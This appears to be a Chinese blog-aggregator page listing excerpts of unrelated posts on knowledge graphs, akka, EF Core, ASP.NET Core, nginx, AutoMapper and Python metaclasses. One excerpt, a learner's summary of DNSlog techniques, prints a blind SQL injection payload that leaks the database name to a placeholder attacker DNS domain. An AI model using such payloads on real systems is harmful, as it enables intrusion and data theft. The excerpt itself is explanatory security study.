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探索「老药新用」最短路径:亚马逊开源大规模药物重定位知识图谱

ぃ、小莉子 提交于 2020-08-12 06:12:38
  机器之心发布    机器之心编辑部    最近,来自亚马逊上海 AI 实验室、亚马逊 AI 北美、明尼苏达大学、俄亥俄州立大学、湖南大学等机构的团队,正式开源了大规模药物重定位知识图谱 DRKG和一套完整的用于进行药物重定位研究的机器学习工具,助力新冠及其他疾病的药物重定位研究。   自 2019 年 12 月至今,新型冠状病毒在全球迅速扩散已导致近 760 万人感染,40 余万人死亡。目前急需快速有效的新冠病毒有效药物的发现路径。药物重定位是一种将现有药物用于治疗新的适应症的药物发现方式。相比较传统的新药开发,它可以有效缩短药物研发周期,降低成本,规避风险,是一种非常有前景的新冠肺炎治疗策略。   近日, 亚马逊上海 AI 实验室 联合来自亚马逊 AI 北美、明尼苏达大学、俄亥俄州立大学、湖南大学的研究者,共同构建了 大规模药物重定位知识图谱 DRKG (Drug Repurposing Knowledge Graph),以及一套 完整的用于进行药物重定位研究的机器学习工具 ,并将其在 github 上开源给全世界研究机构,帮助相关研究人员更有效地对新冠病毒及其它疾病(如阿尔茨海默病)进行药物重定位研究。   项目地址: https://github.com/gnn4dr/DRKG   如下图所示,DRKG 是一个综合型生物医药知识图谱,包含人类基因、化合物、生物过程

akka-typed(8)

北战南征 提交于 2020-08-12 05:06:08
前面介绍了事件源(EventSource)和集群(cluster),现在到了讨论CQRS的时候了。CQRS即读写分离模式,由独立的写方程序和读方程序组成,具体原理在以前的博客里介绍过了。akka-typed应该自然支持CQRS模式,最起码本身提供了对写方编程的支持,这点从EventSourcedBehavior 可以知道。akka-typed提供了新的EventSourcedBehavior-Actor,极大方便了对persistentActor的应用开发,但同时也给编程者造成了一些限制。如手工改变状态会更困难了、EventSourcedBehavior不支持多层式的persist,也就是说通过persist某些特定的event然后在event-handler程序里进行状态处理是不可能的了。我这里有个例子,是个购物车应用:当完成支付后需要取个快照(snapshot),下面是这个snapshot的代码: snapshotWhen { (state,evt,seqNr) => CommandHandler.takeSnapshot(state,evt,seqNr) } ... def takeSnapshot(state: Voucher, evt: Events.Action, lstSeqNr: Long)( implicit pid: PID) = { if (evt

C# 数据操作系列

烂漫一生 提交于 2020-08-12 04:50:48
0. 前言 在《C# 数据操作系列 - 5. EF Core 入门》篇中,我们简单的通过两个类演示了一下EF增删改查等功能。细心的小伙伴可能看了生成的DDL SQL 语句,在里面发现了些端倪。没看的小伙伴也不急,这就贴出来。 public class ModelA { public int Id { get; set; } public string Name { get; set; } public List<ModelB> ModelBs { get; } = new List<ModelB>(); } public class ModelB { public int Id { get; set; } public string Name { get; set; } public int ModelAId { get; set; } public ModelA modelA { get; set; } } DDL SQL: CREATE TABLE "ModelBs" ( "Id" INTEGER NOT NULL CONSTRAINT "PK_ModelBs" PRIMARY KEY AUTOINCREMENT, "Name" TEXT NULL, "ModelAId" INTEGER NOT NULL, CONSTRAINT "FK_ModelBs_ModelAs

【asp.net core 系列】10 实战之ActionFilter

北城以北 提交于 2020-08-12 03:35:50
0.前言 在上一篇中,我们提到了如何创建一个UnitOfWork并通过ActionFilter设置启用。这一篇我们将简单介绍一下ActionFilter以及如何利用ActionFilter,顺便补齐一下上一篇的工具类。 1. ActionFilter 介绍 ActionFilter全称是ActionFilterAttribute,我们根据微软的命名规范可以看出这是一个特性类,看一下它的声明: [AttributeUsage(AttributeTargets.Class | AttributeTargets.Method, AllowMultiple = true, Inherited = true)] public abstract class ActionFilterAttribute : Attribute, IActionFilter, IFilterMetadata, IAsyncActionFilter, IAsyncResultFilter, IOrderedFilter, IResultFilter 这是一个允许标注在类和方法上的特性类,允许多个标记,标注之后子类会继承父类的特性。然后,这个类是一个抽象类,所以我们可以通过继承ActionFilterAttribute来编写自己的ActionFilter。 1.1 ActionFilter的四个方法

abp(net core)+easyui+efcore实现仓储管理系统——出库管理之一(四十九)

假装没事ソ 提交于 2020-08-12 01:21:42
abp(net core)+easyui+efcore实现仓储管理系统目录 abp(net core)+easyui+efcore实现仓储管理系统——ABP总体介绍(一) abp(net core)+easyui+efcore实现仓储管理系统——解决方案介绍(二) abp(net core)+easyui+efcore实现仓储管理系统——领域层创建实体(三) abp(net core)+easyui+efcore实现仓储管理系统——定义仓储并实现 (四) abp(net core)+easyui+efcore实现仓储管理系统——创建应用服务(五) abp(net core)+easyui+efcore实现仓储管理系统——展现层实现增删改查之控制器(六) abp(net core)+easyui+efcore实现仓储管理系统——展现层实现增删改查之列表视图(七) abp(net core)+easyui+efcore实现仓储管理系统——展现层实现增删改查之增删改视图(八) abp(net core)+easyui+efcore实现仓储管理系统——展现层实现增删改查之菜单与测试(九) abp(net core)+easyui+efcore实现仓储管理系统——使用 WEBAPI实现CURD (十一) abp(net core)+easyui+efcore实现仓储管理系统—

nginx代理springcloud网关,后台上传apk文件报错413 Request Entity

牧云@^-^@ 提交于 2020-08-11 23:13:31
原因 body大小超过nginx设置的默认值 解决办法 修改nginx.conf,加入如下内容: client_max_body_size 20M; 注: 在http{ }中设置,控制全局nginx所有请求报文大小; 在server{ }中设置,控制该server的所有请求报文大小; 在location{ }中设置,控制满足该路由规则的请求报文大小。 如果有php的话,同时修改php.ini内的上传限制upload_max_filesize = 20M 来源: oschina 链接: https://my.oschina.net/u/4263893/blog/4423736

Dnslog在诸多漏洞中的利用方式

僤鯓⒐⒋嵵緔 提交于 2020-08-11 22:53:14
安全学习了大概快半年了,对于诸多漏洞的原理和基础应用大概也基本了解了。 之前都是以‘点(每个漏洞怎样?)’的方式在学习、记忆。现在感觉需要做一些总结: 今天又看到了DNSlog这个词,记起了第一次接触是在SQL盲注那一块知识,后来在SSRF中测试无回显情况中也遇到过,遂想做一下dnslog在诸多漏洞中的利用方式总结。 DNSlog原理: 原理就是:DNS协议有一个不懂就问的特点,向自己的上一级DNS服务器发问(请求解析),电脑在请求域名解析的时候会向DNS服务器请求,我们可以申请一个dns服务器如:ceye.io,因为电脑发出的请求域名如:payload.ceye.io是我们dns服务器的子域,所以它的解析请求就会被我们捕获。 本质:依靠域名解析,把带有payload解析后的域名向DNS服务器请求,从而获取payload解析后的数据 利用点:只要是能够发出域名解析请求的地方都可以用这种方式获取数据。 可以利用DNSlog的漏洞: SQL盲注 XXE(SSRF)(无回显) 命令执行(无回显) XSS(无回显) 1、SQL盲注 //直接上payload演示 http://127.0.0.1/sqli_blind/ ?id=1' and if((select load_file(concat('\\\\',(select database()),'.YourDnsSite.ceye.io

构建知识图谱-初学

佐手、 提交于 2020-08-11 20:45:18
本文内容源自 medium文章 A Knowledge Graph understanding and implementation tutorial for beginners[1] 目录 什么是知识图谱? 如何搭建一个简单的知识图谱? 什么是知识图谱? 知识图谱的内容通常以三元组形式存在, Subject-Predicate-Object (spo)。 举个栗子: Leonard Nimoy was an actor who played the character Spock in the science-fiction movie Star Trek 对上面的句子可以抽取到如下三元组: 以知识图谱形式可以表示为: 上述由节点和关系组成的图,就是一个简单的知识图谱。 如何搭建一个简单的知识图谱? 可以分为以下两大步骤: 知识提取 信息抽取,获取三元组 实体识别、实体链接、实体消歧(Disambiguation)、实体统一(Entity Resolution) 图构建 存储 查询 知识提取步骤是构建知识图谱的关键,三元组可以通过依存分析得到。 动手构建一个简单知识图谱 此处只显示代码执行过程与结果,完整代码请见 github . 1. 三元组提取 借助spacy inputText = 'Startup companies create jobs and innovation.

.NET Core Dto映射(AutoMapper)

陌路散爱 提交于 2020-08-11 19:29:40
我们假设一个场景, 采用EF Core+Web Api, 这时候可能会出现EF Core中的Entity Model和在项目中使用的Model之间对应关系出现偏差, 如果使用属性意一一对应, 不免会有大量的工作量 好了,接下来直接上代码来说明。 EntityModels.Employee.cs public class Employee { public Guid Id { get; set; } public Guid CompanyId { get; set; } public string EmployeeNo { get; set; } public string FirstName { get; set; } public string LastName { get; set; } public Gender Gender { get; set; } public DateTime DateOfBirth { get; set; } public Company Company { get; set; } } Models.EmployeeDto.cs public class EmployeeDto { public Guid Id { get; set; } public Guid CompanyId { get; set; } public string

Python元类实战,通过元类实现数据库ORM框架

情到浓时终转凉″ 提交于 2020-08-11 18:41:49
本文始发于个人公众号: TechFlow ,原创不易,求个关注 今天是 Python专题 的第19篇文章,我们一起来用元类实现一个简易的ORM数据库框架。 本文主要是受到了廖雪峰老师Python3入门教程的启发,不过廖老师的博客有些精简,一些小白可能看起来比较吃力。我在他的基础上做了一些 补充和注释 ,尽量写得浅显一些。 ORM框架是什么 如果是没有做过后端的小伙伴上来估计会有点蒙,这个ORM框架究竟是什么?ORM框架是后端工程师常用的一个框架,它的英文全称是Object Relational Mapping,即 对象-关系映射 框架。顾名思义就是把关系转化成对象的框架,关系这个词我们在哪里用的最多呢? 显然应该是数据库。之前我们在分布式的文章介绍关系型数据库和非关系型数据库的时候就着重介绍过关系的含义。我们常用的MySQL就是经典的关系型数据库,它存储的形式是表,但是 表承载的数据其实是两个实体之间的"关系" 。比如学生上课这个场景,学生和课程是两个主体(entity),我们要记录的是这两个主体之间的关系,也就是学生上课这件事。 而ORM框架做的事情是将这些关系映射成类,这样我们可以将这张表当中增删改查的功能抽象成类当中的方法。这样我们就可以通过调用类的方式来操作数据库了,从而达到 高度抽象业务逻辑、降低用户使用难度 的目的。